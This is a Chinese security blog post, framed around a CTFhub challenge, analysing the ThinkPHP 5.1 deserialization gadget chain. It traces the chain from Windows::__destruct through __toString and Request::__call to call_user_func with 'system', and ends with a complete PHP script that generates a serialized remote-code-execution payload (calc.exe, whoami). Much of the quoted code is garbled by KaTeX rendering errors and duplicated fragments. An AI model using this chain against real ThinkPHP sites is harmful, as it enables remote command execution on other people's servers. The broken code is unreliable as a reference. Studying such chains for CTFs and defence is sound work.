ThinkPHP 5.1反序列化分析和poc

图片

点击上方蓝字关注我们

0x00 前言

最近挖不出漏洞了,所以来学习一下反序列化。毕竟测试的系统连个页面也没有,只给了十几个接口。之前对反序列化只停留在基础的原理层面,所以这次着重一下分析思想和如何写poc上面。所以就拿最经典的分析。

0x01 复现环境

windows10

phpstudy(apache+mysql)

thinkphp5.1

php7.3.4

CTFhub thinkphp5.1反序列化题目

0x02 CTFhub thinkphp

答题

开启环境后

图片

将代码下载到本地,利用phpstrom+phpstudy+xdebug搭建分析环境

查看一下writeup给的exp,放到本地环境生成序列化后的字符串。

图片

看一下环境中给出的序列化参数是在index/controller/Index.php 中str

图片

所以利用方式如下

图片

获取flag

图片

关于s=index/index/hello&a=whoami

为什么s是路由?

默认配置中,var_pathinfo默认为s,所以我们可以用$_GET[‘s’]来传递路由信息。application/index/controller/ 为默认控制器的根目录,当我们在路由中书写时,如果只使用默认控制器,只用写入 控制器文件名/方法。

‘index/index/hello’ //模块(index)/控制器(controller)/index.php/:function hello

为什么a是参数?

其实a,b,c等都可以,只要不与其他内定规则冲突

图片

0x03 基础知识

魔术方法

PoP链的核心,就是魔术方法。而php的魔术方法中涉及到反序列化的大致有以下几种:

__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。一般来说,也是Pop链的入口。
__toString: 类对象遇到字符串操作时触发。
__wakeup: 类实例反序列化时触发。
__call: 当调用了类对象中不存在或者不可访问的方法时触发。
__callStatic:当调用了类对象中不可访问的静态方法时触发。
__get: 当获取了类对象中不可访问的属性时触发。
__set: 当试图向类对象中不可访问的属性赋值时触发。
__invoke: 当对象调用为函数时触发

反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 this−>this->this>func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

0x04 分析

首先我们先看一下大佬画的攻击链

图片

然后我们来思考一下为什么会找到以上函数当链条

__destruct

目标:通过__destruct想法设法调用output类中的__call来实现命令执行

全局搜索__destruct

Windows.php里的__destruct可以作为入口点

在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,而这里的文件名 $filename 变量是可控。

public function __destruct()
{
$this->close();
$this->removeFiles();
}

//removeFiles
private function removeFiles()
{
foreach ($this->files as KaTeX parse error: Expected '}', got 'EOF' at end of input: … (file\_exists(filename)) {
@unlink($filename);
}
}
$this->files = [];
}

如果我们将一个类赋值给 filename变量,那么在file_exists(filename 变量,那么在 file\_exists(filename变量,那么在file_exists(filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。

function file_exists(string $filename): bool {}

/**
* Tells whether the filename is writable
* @link https://php.net/manual/en/function.is-writable.php
* @param string $filename

__toString

全局搜索__toString

$name 变量来自 $this->append ,是可以控制的。

public function __toString()
{
return $this->toJson();
}

//跟进toJson
public function toJson(KaTeX parse error: Expected '}', got 'EOF' at end of input: …n json\_encode(this->toArray(), $options);
}

//跟进toArray
public function toArray()
{
$item = [];
hasVisible=false;...//追加属性(必须定义获取器)if(!empty(hasVisible = false; ... // 追加属性(必须定义获取器) if (!empty(hasVisible=false;...//追加属性(必须定义获取器)if(!empty(this->append)) { //需要数组非空进入
foreach ($this->append as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is\_array(name)) { //name需要是数组
// 追加关联对象属性
$relation = this−>getRelation(this->getRelation(this>getRelation(key);

if (!$relation) {
$relation = this−>getAttr(this->getAttr(this>getAttr(key);
if ($relation) {
relation−>visible(relation->visible(relation>visible(name);
}
}

KaTeX parse error: Undefined control sequence: \[ at position 5: item\̲[̲key] = $relation ? relation−>append(relation->append(relation>append(name)->toArray() : [];
}

return $item;

通过查看getData函数我们可以知道$relation 变量来自 KaTeX parse error: Undefined control sequence: \[ at position 11: this->data\̲[̲name] ,而这个变量是可以控制的。

public function getAttr(KaTeX parse error: Expected 'EOF', got '&' at position 7: name, &̲item = null)
{
try {
$notFound = false;
$value = this−>getData(this->getData(this>getData(name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

//跟进getData
public function getData(KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is\_null(name)) {
return KaTeX parse error: Expected 'EOF', got '}' at position 16: this->data; }̲ elseif (array\…name, $this->data)) {
return KaTeX parse error: Undefined control sequence: \[ at position 11: this->data\̲[̲name];
} elseif (array_key_exists($name, $this->relation)) {
return KaTeX parse error: Undefined control sequence: \[ at position 15: this->relation\̲[̲name];
}
throw new InvalidArgumentException(‘property not exists:’ . static::class . ‘->’ . $name);
}

所以 relation−>visible(relation->visible(relation>visible(name) 就变成了:可控类->visible(可控变量) 。

代码执行点分析

__call方法

只要对象可控,且调用了不存在的方法,就会调用__call方法,因为visible不存在,所以会调用 $relation的__call方法

全局搜索__call方法

Request类中的 __call方法 存在call_user_func_array,并且 this−>hook可控,所以我们可以使用this->hook 可控,所以我们可以使用this>hook可控,所以我们可以使用this->hook[$method]去调用我们想要调用的函数。但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。无法控制构造pyaload。

public function __call($method, KaTeX parse error: Expected '}', got 'EOF' at end of input: …y\_key\_exists(method, KaTeX parse error: Expected '}', got 'EOF' at end of input: …array\_unshift(args, this);returncall_user_func_array(this); return call\_user\_func\_array(this);returncall_user_func_array(this->hook[$method], $args);
}

input -filterValue

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func(filter,filter,filter,data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

public function input($data = [], $name = ‘’, $default = null, $filter = ‘’)
{ // 解析过滤器
$filter = this−>getFilter(this->getFilter(this>getFilter(filter, $default);

if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: …alk\_recursive(data, [$this, ‘filterValue’], $filter);
if (version_compare(PHP_VERSION, ‘7.1.0’, ‘<’)) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
this−>arrayReset(this->arrayReset(this>arrayReset(data);
}
} else {
this−>filterValue(this->filterValue(this>filterValue(data, $name, $filter);
}
}

//filterValue
//通过后面的分析我们知道param函数可以获得_GET数组并赋值给\_GET数组并赋值给_GET数组并赋值给this->param。会发现filterValue.value的值为第一个通过GET请求的值,而filters.key为GET请求的键,并且filters.filters就等于input.filters的值。
private function filterValue(&$value, $key, $filters)
{
default=array_pop(default = array\_pop(default=array_pop(filters);

foreach ($filters as KaTeX parse error: Expected '}', got 'EOF' at end of input: … (is\_callable(filter)) {
// 调用函数或者方法过滤
value=call_user_func(value = call\_user\_func(value=call_user_func(filter, $value);
//
}

param

在找何处调用input时,发现了param()函数调用input,并且第一个参数的值$this->param可控

//param
public function param($name = ‘’, $default = null, $filter = ‘’)
{
return this−>input(this->input(this>input(this->param, $name, $default, $filter);
}

this−>param是由本来的this->param是由本来的this>param是由本来的this->param,还有请求参数和URL地址中的参数合并。

但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造this−>param也是可以的,但是考虑到可以动态命令执行,因此就不构造this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造this>param也是可以的,但是考虑到可以动态命令执行,因此就不构造this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。

KaTeX parse error: Expected group as argument to '\=' at position 15: this->param \= ̲array\_merge(this->param, $this->get(false), $vars, $this->route(false));

isAjax

何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()

//isAjax
public function isAjax($ajax = false)
{
$result = this−>param(this->param(this>param(this->config[‘var_ajax’]) ? true : $result;
}

在isAjax函数中,我们可以控制KaTeX parse error: Undefined control sequence: \[ at position 13: this->config\̲[̲'var\_ajax'\],this->config[‘var_ajax’]可控就意味着param函数中的name可控。param函数中的name可控。param函数中的name可控。param函数中的name可控就意味着input函数中的$name可控。

KaTeX parse error: Undefined control sequence: \[ at position 13: this->config\̲[̲'var\_ajax'\]是配…this->param时,默认的第一个参数name就为空,之后再调用input时传入的name就为空,之后再调用input时传入的name就为空,之后再调用input时传入的name就为空,从而绕过了input函数中的if判断。也就进入了this−>filterValue(this->filterValue(this>filterValue(data, $name, $filter);

exp

关于payload解释一下为什么使用$this->files=[new Pivot()];

//model中含有conversion 我们就可以调用Conversion的__toString
namespace think;
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

//Pivot继承model 在filename传入Pivot类对象 将Pivot类做字符串处理,从而调用Conversion的__toString

namespace think\model;
use think\Model;
class Pivot extends Model
{

namespace think;
abstract class Model{
protected $append = []; //传入数组
private $data = [];
function __construct(){
$this->append = [“ethan”=>[“calc.exe”,“calc”]]; //数组非空且为键值对 name需要是数组即[“calc.exe”,“calc”]
$this->data = [“ethan”=>new Request()]; //Request()里没有visible函数,就会调用call函数
}
}
class Request
{
protected $hook = [];
protected $filter = “system”;
protected $config = [
// 表单请求类型伪装变量
‘var_method’ => ‘_method’,
// 表单ajax伪装变量
‘var_ajax’ => ‘_ajax’,
// 表单pjax伪装变量
‘var_pjax’ => ‘_pjax’,
// PATHINFO变量名 用于兼容模式
‘var_pathinfo’ => ‘s’,
// 兼容PATH_INFO获取
‘pathinfo_fetch’ => [‘ORIG_PATH_INFO’, ‘REDIRECT_PATH_INFO’, ‘REDIRECT_URL’],
// 默认全局过滤方法 用逗号分隔多个
‘default_filter’ => ‘’,
// 域名根,如thinkphp.cn
‘url_domain_root’ => ‘’,
// HTTPS代理标识
‘https_agent_name’ => ‘’,
// IP代理获取标识
‘http_agent_ip’ => ‘HTTP_X_REAL_IP’,
// URL伪静态后缀
‘url_html_suffix’ => ‘html’,
];
function __construct(){
$this->filter = “system”;
$this->config = [“var_ajax”=>‘’];
KaTeX parse error: Undefined control sequence: \[ at position 14: this->hook = \̲[̲"visible"=>\[this,“isAjax”]]; //hook调用filterValue的call_user_func
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

参考链接:

https://paper.seebug.org/1480/

https://xz.aliyun.com/t/6467

https://www.freebuf.com/articles/web/284091.html

https://blog.youkuaiyun.com/weixin_54902210/article/details/124874209

https://blog.youkuaiyun.com/qq_43380549/article/details/101265818

https://www.cnblogs.com/zpchcbd/p/12642225.html

☆ END ☆

图片

灼剑(Tsojan)

安全团队

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灼剑(Tsojan)安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值